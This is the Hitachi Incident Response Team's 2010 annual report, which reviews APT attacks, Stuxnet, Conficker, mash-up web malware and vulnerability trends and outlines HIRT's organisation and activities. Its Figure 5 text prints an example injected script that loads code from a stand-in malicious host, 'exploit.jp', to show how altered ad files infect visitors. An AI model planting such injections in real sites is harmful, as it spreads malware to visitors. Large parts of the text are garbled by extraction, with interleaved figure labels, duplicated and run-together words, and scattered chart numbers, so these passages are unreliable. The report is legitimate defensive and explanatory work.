Hitachi Incident Response Team2011.12.19 14:47:37 +09'00'
HIRT: Annual Report 2010

HIRT: Annual Report 2010
Hitachi Incident Response Team (HIRT)
http://www.hitachi.com/hirt/
Kashimada 890, Saiwai, Kawasaki, Kanagawa, 212-8567 Japan

1

Introduction

The last ten years of the CSIRT's efforts to fight cyberattacks in Japan can be divided into two phases (Figure 1).
The first phase is the acknowledge phase. During thisphase, looking at the CSIRT activities developed in the
U.S., we introduced the idea of "incident response",
where people would handle an incident based on a predefined plan. The second phase is the predawn phase, where
Japanese CSIRT got in gear with the feedback from theexperience of dealing with network worms that ran riot
between 2001 and 2003. During this phase, the basis of
the CSIRT's activities in Japan that reflected our regionality has started to develop, such as the launch of the Information Security Early Warning Partnership, release of
the Vulnerability Information Database JVN (Japan Vulnerability Notes) and establishment of Nippon CSIRT
Association.
On the other hand, cyber attacks continued to develop
and their targets began to shift from the operating systems
to software applications, especially to web applications.
Malicious programs have evolved into more advanced
forms, such as malware-infected attachment files, network worms and bots, improving technology for good orbad. In addition, like web malware and USB malware,
attacks that exploit vulnerability in the Internet users'
psychology and behavior and use it for advantage havebecome common since around 2008.
Launch of HIRT Project

Considering the change in the nature of incidents, thenext five years should be used to penetrate the CSIRT
activities into Japan, understanding our regionality. We
should also go forward to develop a new trust model between the local CSIRTs and international counterparts.
The requirements we think a CSIRT must satisfy topromote vulnerability countermeasure approach and incident response are that it can "predicting and alertingfrom a technical point of view", "making technical coordination" and "collaborating with external communities
on the technical aspects". Here, we do not assume somespecial occasions. The role of a CSIRT is to "catch the
emerging threats and take actions as early as possible"
using the experience of incident response operations,where predicting and preventing the damage from possible incidents and implementing the security measures tomitigate the damage should it happen.
As an entity that has the necessary skills and the part andas the Hitachi Group's single point of contact for the
CSIRT activities, HIRT (Hitachi Incident ResponseTeam) is responsible to lead the fight against vulnerability in products and services and incident response formalware infection and information leakage, and to advance Hitachi's brand image in the security field.
This report will introduce a summary of the vulnerabilities and threats and the activities of HIRT in 2010.

Establishment of HIRT Center

1998-2003

2004-20092010-2015

Predawn Phase

Settlement Phase

Homogeneous, wide-spread, chain reaction damage
Malware-infected attached files
Network worms

Different and localized damage for each attack
Targeted attacks
Strategic Attacks

Vulnerability in software applications

Vulnerability in users' psychology and behavior[ Local CSIRT Activities ]Acknowledge Phase[ Characteristics of Incident ]Homogeneous, wide-spread, one-shot damage
Website defacement[ Targeted Vulnerability ]Vulnerability in operating systems[ HIRT Activities ]Establish an IRT model through thedissemination of vulnerability
countermeasure/incident response
information

Participate in the Information Security Early
Warning Partnership through theestablishment of a virtual organization
structure based on the concept of four IRTs
Development of an collaboration modelthrough participation in the international
IRT activities (FIRST, WARP) and local IRT
activities (Nippon CSIRT Association)

Integrate users, products and service areas
through coordination of technology,
contents and operation and mitigate theissues regarding vulnerability
countermeasure approach and incident
response
Develop a trust model through international
and local IRT activities

Figure 1: Change in Incidents and HIRT Activities.
Copyright © Hitachi Incident Response Team (HIRT). 2011. All rights reserved.

HIRT: Annual Report 20102

configuration management system.

Overview of activities in 2010

Likewise, in the case of Stuxnet that targeted a control
system in July 2010, after the attacker breached the information network via a USB malware attack exploiting
Windows vulnerability, the attack was composed of thecommon attack (1) and (2) to breach the control information network and the customized attack (3) and (4) tobreach the control network and disrupt the operation of
the control system as shown in Figure 4.

This section focuses on HIRT activities in 2010.

2.1

Overview of Threats and Vulnerabilities(1) Overview of Threats
In 2010, the attacks that targeted a specific organization(targeted attack) and used an organization's internal network as an attack base (stealth attack) gathered attention,such as the attack that exploited the vulnerabilities inInternet Explore in January (so-called Operation Aurora)
and the emergence of Stuxnet in July that targeted control
systems. The known threats like web malware (e.g. Gumblar) and USB malware (e.g. Conficker) have continued
to cause damage.

The common attacks use various attack techniques andthey are designed to bypass the traditional countermeasures. On top of this, since an APT attack is versatile andcan change the customized attack part accordingly to its
target, it will continue to be a big threat.

Especially, in September 2010, a large-scale malware
infection occurred caused by the contents generated by
web service combination (mash-up). The incident showedthat we needed to consider security measures from theunique viewpoint of the web services.

It starts as a targeted attack using social engineering.

P

APT: Advanced Persistent Threats (advanced,
stealth attacks that target specific organization)

Send an email or instant message from a trusted source that includes a link
and lure the target to a malicious website. (>>Gumblar)
Use a USB malware and exploits the Windows vulnerabilities. (>>Conficker)

While being stealthy, the malware keeps a communication
environment it can communicate with external computers.
Communicates with a command and control server.
Downloads new features or files to update itself.

T

Attack the software configuration management system (>> Operation Aurora)
Disrupt the control system's operation (>> Stuxnet)
Steal classified information (>> Night Dragon, RSA SecureID incident)

Figure 2: APT = Common Attacks and Customized Attacks.

The term APT was used earlier in around April 2008, in
the article "An Evolving Crisis" in the Bloomberg Businessweek magazine. The term is used to explain a new
attack method seen in the Byzantine Foothold operations[2] that have started around 2006 and targeted the U.S.
government and defense industries. The characteristics ofa new attack method are that it uses whatever resource
available for attack, that it is advanced and sophisticated,that the target is clear and that it never gives up. The
name APT reflects those characteristics [3].

(5)

(3)

Software Configuration
Management System
Information Network

In Japan, in an IPA report "Report on APT" released in
December 2010, it is defined as "attacks that are persisting, viciously exploit vulnerability, combine multiple
attack methods tactfully, target a particular business or
person through social engineering, and are therefore very
difficult to deal with" [4].

(6)

(1)
(4)
(1)
(2)

In many cases, APT is an attack method that combines
the 'common attacks' that are composed of common attack techniques to breach the target system and the 'customized attacks' that are composed of specialized attack
techniques to attack the target system (Figure 2).

CommonAttacks

(3)
(4)
(5)

Customized
Attacks

As shown in Figure 3, the attack against more than 30
corporations including Google, Adobe, Symantec andYahoo, aimed to steal intellectual property in January
2010, was composed of the common attacks (1) to (2) that
exploited vulnerability in Internet Explorer (MS10-035)
and the customized attack (6) that attacked a software
Copyright © HIRT. 2011. All rights reserved.

Customized
Attacks

The final goal (final threat) differs depending on the target.

APT is a collective term for "attacks that target a specific organization (targeted attack) and use an organization's internal network as an attack base (stealth attack)".
After the "attacks that exploited the vulnerabilities inInternet Explore in January (so-called Operation Aurora)",the term has become well known [1].

CommonAttacksA(6)

Figure 3: Operation Aurora Scenario.

2(2)

Sends an email or instant message from a trusted
source that includes a link
Redirect the target to a website embedded withmalicious JavaScript code upon clicking the link
Malicious JavaScript code that exploits vulnerability in Internet Explorer (MS10-035) is executed
Download a new binary and execute it
Setup a backdoor and communicate with thecommand and control server
Attack the software configuration management
system (such as Perforce) accessible from thebreached system

HIRT: Annual Report 2010

http://example.jp/index.html④

index.html

PLC
6ES7-315-2

PLC
6ES7-417

Legitimate website(without injection)

Control Network

(3)
(2)

SIMATICSTEP 7

Control Information
Network(1)
Information Network

http://service.jp/2.js
Legitimate website accessis redirected to themalicious website
http://exploit.jp/1.js

Process
Computer

SIMATIC
WinCC

Exploit code and malware(1)

CommonAttacks(2)(3)

Customized
Attacks(4)

InjectedAdvertisement Website
http://service.jp/

Injected
Malicious
Codedocument.write(// 広告表示'<script src=
document.write("http://exploit.jp/1.js">'<img src="NCA.jpg“ />);</script>');Malicious Website
http://exploit.jp/
Exploit codeand malware

Figure 5: Web Malware Exploiting Mash-up

USB Interface(1)<script src=
“http://service.jp/2.js"></script>

Injection

2.js

SIMATICPCS 7

Legitimate Website
http://example.jp/(1)

Conficker

Breach the information network
Spread infection exploiting vulnerabilities in
Windows (MS08-067, MS10-046, MS10-061,
MS10-073, MS10-092)
Breach the control information network
Win Infect SIMANTIC WinCC, PCS7 andSTEP7 exploiting vulnerabilities in Windows andSiemens software (CVE-2010-2772)
Infect the control network
Exploit a Siemens software (SIMANTIC Step7),
insert a malicious code into PLC (programmable
Logic Controller)
Disrupt the control system's operation
Change the output frequencies for short periodsof time over the months >>> disrupt the operationof the control system

Conficker emerged as a worn that exploited Vulnerability in Windows, "Server Service Could Allow Remote
Code Execution (MS08-067)" in around November 2008.
In December 2008, by modification of Conficker (enhanced with the feature to infect via a USB memory
stick), infection spread to the closed networks via aphysical meditational means. Since 2009, the number ofreports on the USB malware infection in Japan has been
decreasing (Figure 6) [5]. However, according to the report of the Conficker Work Group, the number of computers infected with Conficker is about 5 million on the
IP address base (Figure 7) [6].

Figure 4: Control System Attack Scenario (Stuxnet).

Considering such situation, in addition to the deployment of security guards (implementation of antivirus
software) and training of security guards (application of
security patch), we need to educate people to lock thedoor (disable the Autorun feature for the external media[a*].

Web Malware exploiting Mash-up
An attack exploiting mash-up is a technique that guides
users who have visited a website to a malicious website
and infects their PC with malware without their knowledge by altering a component file stored on the otherwebsite. For example, if an advisement file that the website displays is altered (embedded with a malicious codeto guide to the malicious website), the users' browser will
load the malicious website by executing the malicious
code (Figure 5). If the advertisement file is linked bymany websites, a single alteration can achieve the same
result with the alteration of nth number of websites, andimpact will be broad. Also, since the advertisement file isstored on the other website and it would be difficult for
the website administrator to find the cause, a countermeasure from a unique viewpoint of the web services, inthis case, mash-up, is necessary.

(2) Overview of Vulnerabilities
The total number of the vulnerabilities added to the U.S.
NIST NVD (National Vulnerability Database) [7] in 2010
is 4,639. Among them, a web software application products account for about 30 percent (1,458) and has shown
an increasing tendency since 2008 (Figure 8). Looking at
the breakdown, the situation where cross-site scripting(XSS) and SQL injection account for about 80 percent
does not change (Figure 9). Likewise, among the reports
to IPA on the in-service websites, cross-site scripting and
SQL injection account for about 70 percent and the number of reports on these two vulnerabilities is more than
200 in a year (Figure 10) [8].

[a*] Microsoft reported that as the result of sending out an update program 971029
that would disable the Autorun feature through the auto update channel, the infection rate of malware that exploit the Autorun feature was dramatically decreased(as of May 2011, 62 percent decrease for Windows XP 3SP and 74 percent decrease for Windows Vista overall).

3

Copyright © HIRT. 2011. All rights reserved.

HIRT: Annual Report 2010

1,500
1,000
500

2010

2009

2008

2007

2006

2005

2000

08/02
08/04
08/06
08/08
08/10
08/12
09/02
09/04
09/06
09/08
09/10
09/12
10/02
10/04
10/06
10/08
10/10
10/12
11/02

2004

0

0

2003

200

2,000

2002

400

Cross-Site Request Forgery (CSRF)
Path Traversal
SQL Injection
Cross-Site Scripting (XSS)

2,500

2001

Number of reports

600

Number of Vulnerabilities

WORM_DOWNAD(Conflicker)
WORM_AUTORUN
MAL_OTORUN

800

Figure 9: Changes in the number of vulnerabilities reported
for software products of web application(Source: NIST NVD).

Figure 6: Number of Infection of USB Malware(per month).

Web Application
Other

500
Number of Vulnerabilities

5,000
4,000
3,000
2,000
1,000
0

Ichitaro
Adobe Flash Player
Adobe Acrobat
Adobe Reader
JDK
JRE
Microsoft Internet Explorer
Microsoft Office

400
300
200
100

2010

2009

2008

2007

2006

2005

2000

Meanwhile, the number of reports on the applications
often used on the client computers, so-called standard
software, is on the increase. Especially, the number for
Adobe Acrobat, Adobe Reader and Adobe Flash Player
tripled (20 to 57 for Adobe Flash Player) or quadrupled(17 to 68 for Adobe Acrobat and Adobe Reader) from2008 to 2010 (Figure 11).

2004

0

Figure 8: Number of Vulnerabilities Reported(Source: NIST NVD).

Figure 11: Number of Vulnerability in Standard Software.

2.2

HIRT Activities

This subsection describes the HIRT activities in 2010.
(1) Improve Hitachi Group's CSIRT Activities (Phase
1)

Since the web-based passive attack (web malware attack) has been becoming common, in addition to vulnerability countermeasure approach for standard software,
promotion of that for web application development andoperation is needed to prevent the websites from being
used as an attack base.

Copyright © HIRT. 2011. All rights reserved.

2010

Figure 10: Changes in the number of vulnerabilities reported
for websites (Source: IPA and JPCERT/CC).

1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010

Number of vulnerabilities

6,000

2009

Figure 7: Number of Infection of ConfickerA+B(per day).
7,000

0
2008

2011/04

2003

2010/102002

2010/04

2000

2009/10

50

2001

0
2009/04

100

2007

1

150

2006

2

200

2005

3

2004

4

250

2003

5

Cross-Site Request Forgery (CSRF)
Path Traversal
SQL Injection
Cross-Site Scripting (XSS)

300

2002

6

2001

Number of Vulnerabilities

7 (M)Each business division and group company that belongs
to the Information and Communication Systems Company have an IRT that consists of an operating officer for
IRT activities, a vulnerability-related information handling officer and an IRT liaison staff. To install incident
response operations into the whole Hitachi Group, however, not only the collaboration among the existing IRTs
is necessary but also it is absolutely imperative to take a
new effort, for instance, expanding the IRTs or establishing a close partnership with a person who belongs to a4

HIRT: Annual Report 2010

business division or group company and working with the
HIRT Center to actively promote the HIRT activities(hereinafter referred to as an "IRT supporting staffs").

In 2010, to start with the Phase 1 to improve the HitachiGroup's CSIRT activities, we established an operation
system for IRT collaboration and a mechanism for disseminating technical know-how using HIRT Open Meetings. To be specific, based on the policies of the HIRTOpen Meeting, we set up two types of regular liaison
meetings (operational and technical meeting) for the vulnerability related information handling officers and IRT
liaison staff.

In 2010, to improve the Hitachi Group's CSIRT activities, with a goal of installing incident response operations
into the whole Hitachi Group, we launched the efforts
divided into three phases (Figure 12).
(2) Disseminate Countermeasure Information
through HIRT Open Meetings

Operational Meeting (once per half year): A meetingfor the vulnerability related information handling officers and IRT liaison staff to share and learn
know-how on the operation of an IRT.
Technical Meeting (2 - 4 times per half year): A
meeting for the designers, system engineers andthose who are willing to share their technicalknow-how to share and learn the technicalknow-how necessary to implement security into
products and services.

A HIRT Open Meeting is an activity to popularize the
HIRT community based on the trust relationship. A meeting is held reflecting the policy that "it offers an opportunity for the HIRT Center members to share information
about the HIRT activities", that "it offers an open eventfor people of the Hitachi Group to learn about the HIRT
Center's activities and for the HIRT Center members toshare information with and get opinions from non HIRT
Center members, and that "it provides a opportunity tocall for participation to the HIRT community based on thetrust".

Especially for the technical meetings, since we wanted
to pick up a timely topic, we have held three meetings inDecember 2010.
Control System Security Seminar
Trends in Control System Security and Stuxnet Case
Studies
Mobile Website Security
Discussed and shared the experiences on the development and operation of mobile websites with a focus on easy login.
Year 2010 issues on cryptographic algorithms
Transition of cryptographic algorithms

Phase 3
Establish a virtual, horizontal incident response framework 'HIRT Center - IRT - IRT supporting
staffs) >>> Install and promote the incident response operations throughout the whole
Hitachi GroupAll Business Divisions of Hitachi & Groups Companies
SI Vender IRT
Business Division andGroup company IRT
事業部・グループ会社IRT- Security information- Security review consulting- Technical support for evaluation tools- Education planning and offering

Operation Chief

HIRT
Center

実行責任者

Units
Units thatthat need
need support
supportVulnerability
Handling Chief
脆弱性関連情報

ハンドリング責任者
IRT連絡窓口担当者

IRT Liaison Staff

Product Vendor IRT
Internal User IRT

Phase 1
Improve Collaboration with Business Divisionsand Group Companies' IRT

Category
Phase 1

Phase 2Phase 3Phase 2

IRT supporting staffs

Strengthen Partnershipwith IRT supporting staffs(3) Survey on Malware Circulating within the P2PFile Exchange Environment
As for information leakage via file-sharing software, wethought that it was necessary to work with the external
entity. HIRT, with the System Development Laboratory,
gained the cooperation of the P2P Study Group of the
Secure Trusted Network Forum and conducted a research.
In particular, since 2007, many Antinny-type, known
malware that could cause information leakage have beenswarming on a P2P file-sharing environment "Winny".
Most of them disguised themselves as safe contents (disguise with folder/file icon) to tactfully lure users into executing the malware. The users must be careful aboutthem.

Concrete Measures
Improve Collaboration with IRT of Business Divisionsand Group Companies
Promote support activities with the collaboration
between the IRT of Business Divisions and Group
Companies
Establish an IRT coalition framework and mechanism
to share technological know-how using the HIRT
open meetings
Disseminate information about solutions/countermeasures for the problems discussed in
the security review consultation.
Strengthen Partnership with IRT supporting staffs
Trial collaboration with IRT supporting staffs (ofbusiness divisions and group companies)
Bottom up the IRT activities with the IRT supporting
staffs as a starting point
Establish Virtual, Horizontal Incident Response System
Promote various support activities by the HIRT Center, IRTs and IRT collision support members
Develop a HIRT in a broad sense (virtual organization
model) by combining the user collaboration model(Phase 1,2) and entity collaboration model (Phase 3).

Malware is found in one in every 20-30 files (Figure
13)
As for archive files, such as .zip, .lzh and .rar, which
circulate widely in significant quantities, malware isfound in one in every 5-7 files.
Antinny and its subspecies, which cause information
leakage, account for 70% of the known malware.
About 90% of malware fakes itself as an icon, suchas a folder, which resembles safe content. About
30% use faked file names.

Figure 12：Scenario on a Virtual, Horizontal
Incident Response System.

5

Copyright © HIRT. 2011. All rights reserved.

HIRT: Annual Report 201020%

Organization A
Ex. NTT-CERT

Information leakage malware ratio in all files
Information leakage malware ratio in archive files

Organization B
Ex. Domestic
CSIRT

Organization C
Ex. Overseas
CSIRT

Academic
Organization
Ex. Tokai University

Hitachi
HitachiSOC-IX
SOC-IX(Security(SecurityOperation
OperationCenter
CenterInformation
InformationeXchange)eXchange)

15%
10%Subsidiary company
A

Business divison

5%

Creating a framework or mechainism for exchange information, suchas observation data, has the following advantages:- It allows analysis using a large amount of various observation data.
- It allows you to use observation data you do not have
- It allows you to use technology and know-how in fields
in which each CSIRT excels.

2010

2009

2008

0%
2007

Subsidiary company
B

Figure 13: Change in Malware Circulating in Winny That
Causes Information Leakage.

Figure 15: Schematic view of the Hitachi SOC-IX.

(4) Strengthening Partnership with the CSIRT Community

A website with the information about Gumblar countermeasure
Information on the SSL attack by the Botnet PushDo
A DDoS incident where a large volume of ill-formed
SSL requests had been sent against the port 443/tcp(https) from a number of sources since February 3,
2010. About 40 .jp domains had been targeted.
Information about Stuxnet

As part of activities to strengthen partnerships amongorganizations, we have had meeting with NTT-CERT [9]on a regular basis since 2006 to exchange information to
help improve CSIRT activities. Also, as part of the activity to strengthen the inter-organizational collaboration, we
supported the Nippon CSIRT Association in organizing
an international partnership workshop in December [10].
At the workshop, the experts on malware and Botnet wereinvited and they gave a lecture and hands-on exercise(Figure 14).

(5) Other Activity
Reported on an industry-university joint event"Anti-Malware
Engineering
Workshop(MWS2009)" held at the 2010 FIRST Symposium,
Hamburg [12]Supported an organization of "Academy CERT
Meeting" in July 2010 with JPCERT/CC to help Indonesian academic CSIRT activities [13]Contributed an article "Must-Read Vulnerability
Information" to ITPro CSIRT (Computer Security
Incident Response Team) Forum, Nikkei Business
Publications Inc. [14]Published a report on the HIRT activities on the security information portal (Table 1)
Table 1: Reports Publishedon the Security Information Portal.
Number
HIRT-PUB10008
HIRT-PUB10004
HIRT-PUB10003

Figure 14: International Partnership Workshop(Source: Nippon CSIRT Association).

HIRT-PUB10002"Honeywell and virtual honeypots" by David Watson from Honeynet Project"Becoming Criminal-A Botnet Exercise" by Richarde. of Shadowserver

3

HIRT

To give you an in-depth understanding of HIRT, thissection describes the organizational model adopted, the
HIRT/CC, a coordinating unit, and the activities currently
promoted by the HIRT/CC.

As for the Hitachi SOX-IX (Security Operation Center
Information eXchange) (Figure 15), which was a framework for organizations to mutually utilize the informationsuch as observational data for threat analysis, we collaborated with the Incident Information Utilization
Framework Working Group and disseminated the following information [11].

Copyright © HIRT. 2011. All rights reserved.

Title
Hitachi Vulnerability Disclosure Process
Zero-Day Response (2010)
Malware Circulating in P2P File-Sharing
Environment (2010)
HIRT: Annual Report 20093.1

Organizational Model

We have adopted an organizational model consisting offour IRTs (See Figure 16 and Table 2). In the case of the
Hitachi Group, it has three faces: the face of a developer
6

HIRT: Annual Report 2010

Table 2: Role of each IRT.

of information system products (Product IRT), the face ofa system integrator (SI) and service provider using those
products (SI Vendor IRT), and the face of the Internet
user to operate and maintain its information systems (Internal User IRT). By adding the HIRT/CC (HIRT Coordination Center) to coordinate these IRTs, we thought thatthe 4- IRT model could promote a more efficient and effective security countermeasure approach that would
prompt the collaboration between IRTs at the same timeclarifying the role of each IRT. The name HIRT means
the incident response operation promoted by the whole
Hitachi Group in a broad sense and means the HIRT/CC(HIRT Center) in a limited sense.

Category
HIRT/CC

SI Vendor
IRT

In fact, by the time 4 IRTs were established, we went
through about four steps shown in Table 3. At each step,
there was a "trigger" that encouraged the establishment of
the organization. For example, when the Product IRT was
launched at the second step, the fact that the vulnerability
in SNMP [15] reported by CER/CC had affected a number of Hitachi products gave a push. Also, when the SI
Vendor IRT was launched, it was the start of the "Information Security Early Warning Partnership" that gave aboost. The HIRT Center was later set up as a coordinatorwithin and with the entities outside Hitachi after otherthree IRTs had been mostly formed.

3.2

Product
Vendor
IRTInternal
User IRT

Position of HIRT/CC

The HIRT/CC is positioned under Information and Telecommunication Systems Company and has the role of not
only a coordinator within and with the entities outside
Hitachi but also a leader in promoting security technology.
The main area of activity is to support the Product andService Security Committee technically, to promote security efforts from the technical and institutional aspect incooperation with the IT and Security Strategy Division,
Information Technology Division and Quality Assurance
Division.

Information Security Early
Warning Partnership

Role
Corresponding sections: HIRT/CC- Provides a point of contact to external CSIRT
organizations, such as FIRST, JPCERT/CC andCERT/CC.
- Provides coordination among the SI Vendor,
Product Vendor and Internal User IRTs.
Corresponding sections: Sections providing
SI/services- Promotes CSIRT activities for customer systems.
- Provides customer systems with equivalent
security against reported vulnerabilities to thatfor internal systems.
Corresponding sections: Sections developing
products- Provides support to promote vulnerability
measures for Hitachi products and the release of
information concerning such countermeasures- Promptly investigates whether a reported vulnerability has an impact on Hitachi products,
notifies users of the impact, if any, and provides
a security fix.
Corresponding sections: Sections administeringinternal infrastructures- Provide support to promote security measures
for internal networks lest Hitachi websites
should be used as a base for making unauthorized access.

Table 3: Phases until the organization was formed
Phase
April 1998
1st phase
Establishing theInternal User IRT(1998 - 2002)

2nd phase
Establishing the
Product Vendor
IRT(From 2002 -)External IRT communities,
including FIRST
Building a global network withexternal IRT communities

The Hitachi group
HIRT/CC
Provides a point of contact andcoordination among IRTs

SI Vendor IRT

Product Vendor IRT

Internal User IRT

Sections providing
SI/services

Sections developing
products

Sections administeringinternal infrastructure

Providing security
Vulnerability measuresfor customer systems
for Hitachi products

3rd phase
Establishing the
SI Vendor IRT(From 2004 -)Providing security
for internal
infrastructures

October 2004

Overview
We started CSIRT activities as a project toestablish a Hitachi CSIRT framework.
In order to run a Hitachi CSIRT on a trial
basis, we formed a cross-sectional virtual
team within the Hitachi group to start
mailing list based activities. Most of themembers comprised internal security experts and those from sections administeringinternal infrastructures.
In order to start conducting activities seriously as a Hitachi CSIRT, the sections
developing products played a central rolein establishing an organizational structureof the Product Vendor IRT with related
business sites through cooperation frominternal security experts, the sections administering internal infrastructures, thesections developing products and the Quality Assurance Department.
We started to form an SI Vendor IRT withthe sections providing SI/services. In orderto swiftly implement proactive measuresagainst vulnerabilities, as well as reactive
measures against incidents, via partnershipwith Internet communities, we started toform HIRT/CC, which provides a point ofcontact for external organizations and enhances coordination among Internal IRTs.
We established the HIRT/CC.

Figure 16: Four IRTs as an organizational model.

7

Copyright © HIRT. 2011. All rights reserved.

HIRT: Annual Report 2010

Table 4: (Internally) promoting projects.

Moreover, it also includes helping each business division and group company implement proactive security
measures against vulnerabilities, as well as reactive
measures against incidents, and promoting security
measures through partnerships among organizations as apoint of contact for CSIRT activities in the Hitachi group(Figure 17).

Category
Collecting, analyzing and providing security
information

The organization of the HIRT/CC features the combination of vertical and horizontal collaboration of people andunits. More specifically, this model has achieved a flatand cross-sectional organizational system for implementing measures and coordinating ability through distribution
if functions by creating a virtual organization consistingof dedicated personnel and those who are assigned to
HIRT as an additional task. Such organization is based on
the concept that the performance of duties by each section
and cooperation among sections are necessary to solve
security issues, given the great diversification among
components in the information systems.

3.3

Promoting proactive measuresagainst vulnerabilities, as well
as reactive measures against incidents for products/services

Main Activities of HIRT Center

Enhancing security technology
for products/services

The main activities of the HIRT center currently being
promoted include CSIRT activities for internal organizations (See Table 4) and those for external organizations(See Table 5).
As for internal CSIRT activities, we issued know-how
obtained through the collection and analysis of security
information as security alerts and advisories, and are promoting activities to provide feedback to product development processes in the form of guidelines and supporting tools.
Information
Information andand Telecommunication
Telecommunication Systems
Systems
Information Management
Headquarters
Information Management
Committee

Information Technology
Division
Quality Assurance Division

Information Security Planning
Committee
Product and Service Security
Committee- Providing support for vulnerability
and incidents response- Providing information, consulting
and cooperation

Strengthening
the overseas
partnership for
CSIRT activities

Operation Chief
Vulnerability
Handling Chief
IRT Liaison Staff

Leader of a technical aspect
Point of contact for Hitachi IRTs
(Mutual corporation among organizations)

Table 5: (Externally) promoting projects.
Category
Strengthening
the domestic
partnership for
CSIRT activities

Leader of a
Headquarters
system aspect Headquarters
IT & Security
Strategy Division

Mutual cooperation in technicaland system aspects

HIRT
HIRTCenter
CenterDeveloping aframework forresearch activities

Overview
Promoting Information Security Early
Warning Partnership (Information concerning proactive measures against vulnerabilities, as well as reactive measuresagainst incidents/horizontal deploymentof know-how)
Building a wide area observation network based on the Hitachi Security Operation Center Information eXchange(SOC-IX)
Reinforcing the security foundation
within the Hitachi Group through education for sections addressing security
within the companies
Accumulating and deploying technicalknow-how for countermeasures against
vulnerabilities and incident response
Promoting the transmission of security
information from external websites using the Security Information Integration
Site
Improving the process to provide security (each guideline for development,
inspection and operation)
Enhancing and expanding support andprocesses though internal support activities
Enhancing web application security
Developing a framework for joint research with the Systems Development
Laboratory (for P2P observation, etc)

All
All BusinessBusiness Divi
Divisionssionsofof Hitachi
Hitachi&& Groups
Groups Companies
Companies

Developing aframework forresearch activities

External
External IRT
IRT communities
communities-- CSIRT
CSIRTorganizationsorganizations (CE(CERT/CC
RT/CC (US),(US), CPCPNI
NI (UK(UK),), JPCEJPCERT/CC
RT/CC (JP))(JP))-- Governmental
Governmental organizationsorganizations (Cabinet(Cabinet Secretariat,
Secretariat, Ministry
Ministry ofofEconomy,
Economy, Trade
Trade andandIndustry,
Industry, Ministry
Ministry ofofInternalInternal Affairs
Affairs andand Communications,
Communications, National
National Police
Police Agency,
Agency,etc.)
etc.)-- ProductProduct andand software
software vendors
vendors (Mic
(Microsoft,rosoft, FFR,
FFR, etc.)
etc.)-- ISP
ISP (NTT,(NTT, IIJ,
IIJ, etc.)
etc.)-- Security
Security vendors
vendors (IBM-ISS,(IBM-ISS, LAC,
LAC, Trend
Trend Micro,
Micro, Secure
Secure Brain)
Brain)

Figure 17: Position of HIRT Center.

Overview
Deploying proactive measures against
vulnerabilities based on the Information
Security Early Warning Partnership
Promoting activities related to the Nippon CSIRT Association
Improving partnerships with overseas
CSIRT organizations/product vendor
IRTs through lectures or events at
FIRST conferences
Promoting UK WARP related activities.
Countermeasures against vulnerabilities, such as CVE and CVSS, and standardization of incident response (ISO,ITU-T) [b*]Establish a joint research between Tokai University (Professor Hiroaki Kikuchi) and HIRT.
Participating in academic research
activities, such as a workshop to develop human resources for research on
malware countermeasures[b*] Work had begun in 2007 in ISO SC27/WG3 to develop an international
standard "Vulnerability Disclosure (29147)". Work had begun in 2009 in ITU-T
SG17 Q.4 to develop an international standard "Cyber security Information Exchange Framework (X.cybex)".

Copyright © HIRT. 2011. All rights reserved.

8

HIRT: Annual Report 2010

As for the internal issue of security alerts and advisories,
we have broken down HIRT security information into
two types since June 2005. HIRT security informationthat aims to distribute security alerts and hot topics
widely and HIRT-FUP information used to request relevant sections to take reactive measures, to take its priority
and the needs into account (See Table 6 and Figure 18).
To convey information efficiently, we reduce the number
of issues of information by aggregating the same, andrelease the information in collaboration with the IT and
Security Strategy Division and Quality Assurance Division.

Figure 19: Conceptual view of issuing information based on"Emergency Level" x "Website Level".

Basicknowledge

We are now promoting activities to expand the HitachiGroup's commitment to product and service security toInternet users via our security portal website, as a proactive measure against vulnerabilities, as well as reactive
measures against incidents.

Basic
on
Basic
courseBasic course
course on
on
web
web
application
web application
application
security
security
security4

Support of log

Supportofof loglog
Supportchecking
checking
checking

Activity Summary from 1998 to 2009

The Year 2009

(1) The Start of Product/Service Security Feedback
To give feedback to the product development processes
about the know-how we learned from the experience ofvulnerability fighting and incident response, we started toprovide support for each process (Figure 20).
(2) Providing Security Engineer Training
As part of the security engineer training program utilizing the CSIRT activities, we accepted a trainee andtrained him for six months with the focus on web systemsecurity.
(3) Lectures
July 2009: "Web Application Security" by Hiromitsu Takagi, National Institute of Advanced Industrial
Science and Technology (AIST)
July 2009:"NTT-CERT Activity" by, Takehiko Yoshida, NTT-CERTHIRT-FYIHIRT-FUP(4) Other Activities"Survey on Malware Circulating within the P2P File
Exchange Environment" [17][18]February 2009: Gave an web application development exercise for NTT Group at a workshop organized by NTT-CERT
In cooperation with the Incident Information Utilization Framework Working Group of Nippon
CSIRT Association, information dissemination using cNotes (Current Status Notes) [19] which tries tovisualize the observational data.

2010

2009

2008

2007

2006

2005

2004

2003

2002

2001

2000

1999

HIRT

1998

Number of issues

Operation
Support for

Support for
Supportfor
adpopting
adpoptingadopting
contermeasurescontermeasurescountermeasuresinin incidents
incidents
in incidents

This section describes the activities for each year from1998 when the HIRT project started.

Usage
Priority: Urgent
Distributed to: Only relevant sections
Is used to notify relevant sections of a vulnerability when an HIRT member has foundsuch vulnerability in a Hitachi group product or a website, or received such information.
Priority: Middle – HighDistributed to: No restriction
Is used to widely call attention to proactive
measures against vulnerabilities, as well asreactive measures against incidents.
Priority: Low
Distributed to: No restriction
Is used to notify people of HIRT OPEN
Meetings or lecture meetings.

180
160
140
120
100
80
60
40
20
0

Test
Hands-onHands-oncourse
Hands-oncoursecourse ofof webwebofapplication
web application
application
security
inspection
inspection
inspection

Figure 20: Systematizing HIRT support activities(Web application security).

4.1

HIRT-FYIyynnn

Support ofSupportSupport ofof
security
review
security
security review
review

Implementationand construction

Training in the

Table 6: Classification of security information
issued by HIRT.

HIRT-yynnn

DesignTrainingininthe
theTraining
use
inspectionuse ofinspectionuseofofinspecti
on
tools
tools
tools

In particular, for issuing security information for vulnerabilities and incidents, to external entities, we also
adopt an approach in which an "Emergency Level" of
information is determined and a "Website Level" at which
the information is to be published is selected, in addition
to just routinely publishing security information via our
security portal website (See Figure 19).

ID number
HIRT-FUPyynnn

Quotation

Figure 18: Number of issues of security information
by ID number.

9

Copyright © HIRT. 2011. All rights reserved.

HIRT: Annual Report 2010

4.2

The Year 2008

4.3

The Year 2007

(1) Supporting countermeasures against DNS cachepoisoning vulnerability(1) Starting Hands-on Security Training at HIRTOPEN Meetings

We held an HIRT OPEN Meeting "Roles of DNS and
Use of Related Tools" in December as a countermeasure
to DNS cache poisoning vulnerability, in order to describe DNS behavior and how to use tools. To help promote DNS cache poisoning countermeasures in Japan, thematerials prepared for the HIRT OPEN Meeting were
